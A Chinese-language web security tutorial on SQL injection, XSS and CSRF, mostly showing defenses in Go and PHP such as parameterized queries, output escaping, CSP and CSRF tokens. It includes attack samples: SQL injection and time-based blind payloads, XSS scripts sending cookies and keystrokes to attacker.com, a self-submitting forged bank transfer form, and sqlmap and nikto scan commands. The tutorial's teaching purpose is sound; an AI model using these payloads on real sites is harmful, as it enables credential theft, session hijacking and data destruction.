Announcement

👇Official Account👇

图片

Welcome to join the group & private message

Article first/tail QR code

Skip to content

SQL 注入、XSS、CSRF 攻击原理与防护实战

这三类漏洞常年霸占 OWASP Top 10 榜单,几乎所有 Web 应用都曾面临它们的威胁。理解攻击原理,才能写出真正安全的代码。

一、SQL 注入(SQL Injection)

攻击原理

SQL 注入是将恶意 SQL 代码插入到应用程序的输入中,从而篡改原始 SQL 查询。

漏洞示例

go
// ❌ 存在 SQL 注入的代码
func getUserByName(name string) (*User, error) {
    // 直接拼接用户输入!
    query := "SELECT * FROM users WHERE name = '" + name + "'"
    row := db.QueryRow(query)
    // ...
}

// 攻击者输入:
// name = "' OR '1'='1"
// 实际执行:SELECT * FROM users WHERE name = '' OR '1'='1'
// 结果:返回所有用户!

// 更危险的攻击:
// name = "'; DROP TABLE users; --"
// 实际执行:SELECT * FROM users WHERE name = ''; DROP TABLE users; --'
// 结果:删除 users 表!
php
// ❌ PHP 中的 SQL 注入
$name = $_GET['name'];
$sql = "SELECT * FROM users WHERE name = '$name'";
$result = mysqli_query($conn, $sql);  // 危险!

防护方案

go
// ✅ Go:使用参数化查询(Prepared Statement)
func getUserByName(name string) (*User, error) {
    var user User
    err := db.QueryRow("SELECT * FROM users WHERE name = ?", name).Scan(
        &user.ID, &user.Name, &user.Email,
    )
    return &user, err
}

// ✅ GORM(自动使用参数化查询)
db.Where("name = ?", name).First(&user)

// ✅ 使用 sqlx
db.Get(&user, "SELECT * FROM users WHERE name = ?", name)
php
// ✅ PHP PDO 参数化查询
$stmt = $pdo->prepare("SELECT * FROM users WHERE name = :name");
$stmt->bindParam(':name', $name, PDO::PARAM_STR);
$stmt->execute();

// ✅ mysqli 参数化查询
$stmt = $conn->prepare("SELECT * FROM users WHERE name = ?");
$stmt->bind_param("s", $name);
$stmt->execute();

SQL 注入检测工具

bash
# sqlmap 自动化检测
sqlmap -u "http://example.com/user?id=1" --dbs

# 手动测试 payload
' OR '1'='1
' OR 1=1--
' UNION SELECT NULL, NULL, NULL--
'; WAITFOR DELAY '0:0:5'--    # 时间盲注测试(MSSQL)
' AND SLEEP(5)--               # 时间盲注测试(MySQL)

二、XSS(跨站脚本攻击)

攻击类型

XSS 三种类型:

1. 存储型 XSS(持久型):恶意脚本存入数据库,每次访问都执行
   用户评论 → 存入 DB → 其他用户查看时执行恶意脚本

2. 反射型 XSS(非持久型):恶意脚本在 URL 中
   攻击者发送含 XSS 的链接 → 用户点击 → 脚本在用户浏览器执行

3. DOM 型 XSS:通过 JavaScript 操作 DOM 触发
   前端 JS 读取 URL 参数直接写入 DOM

攻击示例

html
<!-- 存储型 XSS:用户在评论框输入 -->
<script>
  // 窃取 Cookie
  document.location='http://attacker.com/steal?c='+document.cookie;
</script>

<!-- 更隐蔽的写法 -->
<img src="x" onerror="this.src='http://attacker.com/steal?c='+document.cookie">

<!-- 键盘记录器 -->
<script>
  document.addEventListener('keypress', function(e) {
    fetch('http://attacker.com/log', {
      method: 'POST',
      body: JSON.stringify({key: e.key})
    });
  });
</script>

防护方案

go
// ✅ Go:HTML 转义
import "html"

func renderComment(content string) string {
    return html.EscapeString(content)
}
// "Hello <script>alert(1)</script>" 
// → "Hello &lt;script&gt;alert(1)&lt;/script&gt;"

// ✅ Go HTML 模板(自动转义)
import "html/template"

tmpl := template.Must(template.New("").Parse(`
    <p>评论:{{.Content}}</p>  <!-- 自动转义 -->
`))

// ✅ 如果需要允许部分 HTML,使用白名单过滤
import "github.com/microcosm-cc/bluemonday"

policy := bluemonday.UGCPolicy() // 用户生成内容策略
safe := policy.Sanitize(userInput)
php
// ✅ PHP:htmlspecialchars 转义
$safe = htmlspecialchars($userInput, ENT_QUOTES | ENT_HTML5, 'UTF-8');
echo "<p>{$safe}</p>";

// ✅ HTML Purifier(允许 HTML 时使用)
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$clean = $purifier->purify($userInput);

CSP(Content Security Policy)防护

go
// Gin 中间件设置 CSP
func CSPMiddleware() gin.HandlerFunc {
    return func(c *gin.Context) {
        c.Header("Content-Security-Policy",
            "default-src 'self'; "+
            "script-src 'self' 'nonce-{随机值}'; "+
            "style-src 'self' https://fonts.googleapis.com; "+
            "img-src 'self' data: https:; "+
            "frame-ancestors 'none'")
        c.Next()
    }
}
html
<!-- HTML 中使用 nonce 允许内联脚本 -->
<script nonce="随机值">
    // 这个脚本被允许执行
</script>

<!-- 无 nonce 的内联脚本被 CSP 阻止 -->
<script>alert('XSS')</script>  <!-- 被阻止! -->

三、CSRF(跨站请求伪造)

攻击原理

CSRF 攻击流程:

1. 用户登录银行网站 bank.com(浏览器保存了 Cookie)
2. 用户访问恶意网站 attacker.com
3. 恶意网站包含以下代码:

<img src="http://bank.com/transfer?to=attacker&amount=10000">
<form action="http://bank.com/transfer" method="POST">
  <input name="to" value="attacker">
  <input name="amount" value="10000">
</form>
<script>document.forms[0].submit()</script>

4. 浏览器自动带上 bank.com 的 Cookie 发送请求
5. 银行服务器认为是合法请求,完成转账!

防护方案 1:CSRF Token

go
// Go:生成和验证 CSRF Token
import "github.com/gorilla/csrf"

func main() {
    r := gin.Default()

    // 生成随机密钥(32字节)
    csrfMiddleware := csrf.Protect(
        []byte("32-byte-long-auth-key"),
        csrf.Secure(true),              // 仅 HTTPS
        csrf.HttpOnly(false),           // JavaScript 可访问 Token
        csrf.SameSite(csrf.SameSiteStrictMode),
    )

    // 在表单中注入 Token
    r.GET("/form", func(c *gin.Context) {
        token := csrf.Token(c.Request)
        c.JSON(200, gin.H{"csrf_token": token})
    })

    // 验证 Token
    r.POST("/transfer", csrfMiddleware(http.HandlerFunc(handleTransfer)))
}
php
// PHP:CSRF Token
session_start();

// 生成 Token
function generateCSRFToken(): string {
    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }
    return $_SESSION['csrf_token'];
}

// 表单中输出 Token
echo '<input type="hidden" name="csrf_token" value="' . generateCSRFToken() . '">';

// 验证 Token
function verifyCSRFToken(string $token): bool {
    return isset($_SESSION['csrf_token']) 
        && hash_equals($_SESSION['csrf_token'], $token);
}

if (!verifyCSRFToken($_POST['csrf_token'])) {
    http_response_code(403);
    die('CSRF Token 验证失败');
}
go
// 设置 SameSite Cookie(最简单的防护)
http.SetCookie(w, &http.Cookie{
    Name:     "session",
    Value:    sessionID,
    HttpOnly: true,
    Secure:   true,             // 仅 HTTPS
    SameSite: http.SameSiteStrictMode,  // 严格模式:跨站请求不带 Cookie
    // SameSite: http.SameSiteLaxMode, // 宽松模式:只阻止 POST 等非安全方法
})

防护方案 3:检查 Origin/Referer

go
func CSRFOriginCheck() gin.HandlerFunc {
    return func(c *gin.Context) {
        if c.Request.Method == "POST" || c.Request.Method == "PUT" ||
            c.Request.Method == "DELETE" {
            origin := c.GetHeader("Origin")
            referer := c.GetHeader("Referer")

            // 检查来源是否合法
            allowedOrigins := []string{
                "https://friday-go.icu",
                "https://www.friday-go.icu",
            }

            valid := false
            for _, allowed := range allowedOrigins {
                if origin == allowed || strings.HasPrefix(referer, allowed) {
                    valid = true
                    break
                }
            }

            if !valid && origin != "" {  // 允许没有 Origin 头的请求(非浏览器)
                c.AbortWithStatusJSON(403, gin.H{"error": "非法的请求来源"})
                return
            }
        }
        c.Next()
    }
}

四、安全响应头汇总

go
// 完整的安全头中间件
func SecurityHeaders() gin.HandlerFunc {
    return func(c *gin.Context) {
        // 防止 XSS
        c.Header("X-XSS-Protection", "1; mode=block")

        // 防止 MIME 类型嗅探
        c.Header("X-Content-Type-Options", "nosniff")

        // 防止点击劫持
        c.Header("X-Frame-Options", "DENY")

        // 强制 HTTPS
        c.Header("Strict-Transport-Security", "max-age=31536000; includeSubDomains")

        // CSP
        c.Header("Content-Security-Policy",
            "default-src 'self'; script-src 'self'; object-src 'none'")

        // 减少信息泄露
        c.Header("Server", "")
        c.Header("X-Powered-By", "")

        // 引用者策略
        c.Header("Referrer-Policy", "strict-origin-when-cross-origin")

        c.Next()
    }
}

五、实用安全检测清单

bash
# 使用 OWASP ZAP 进行自动扫描
docker run -t owasp/zap2docker-stable zap-baseline.py \
    -t https://friday-go.icu

# 检查响应头
curl -I https://friday-go.icu | grep -E "(X-|Content-Security|Strict)"

# SQL 注入快速检测
sqlmap -u "https://example.com/api/user?id=1" --level=5 --risk=3

# nikto Web 服务器扫描
nikto -h https://example.com

总结对比

漏洞危害核心防护难度
SQL 注入数据库泄露/篡改参数化查询⭐⭐
XSS窃取凭证/劫持会话HTML 转义 + CSP⭐⭐⭐
CSRF伪造用户操作Token + SameSite Cookie⭐⭐

黄金原则

  • 永远不要信任用户输入
  • 输入验证 + 输出转义 + 最小权限原则
  • 定期用自动化工具扫描

作者:PFinal南丞 | 更新时间:2026-04-21

上次更新于: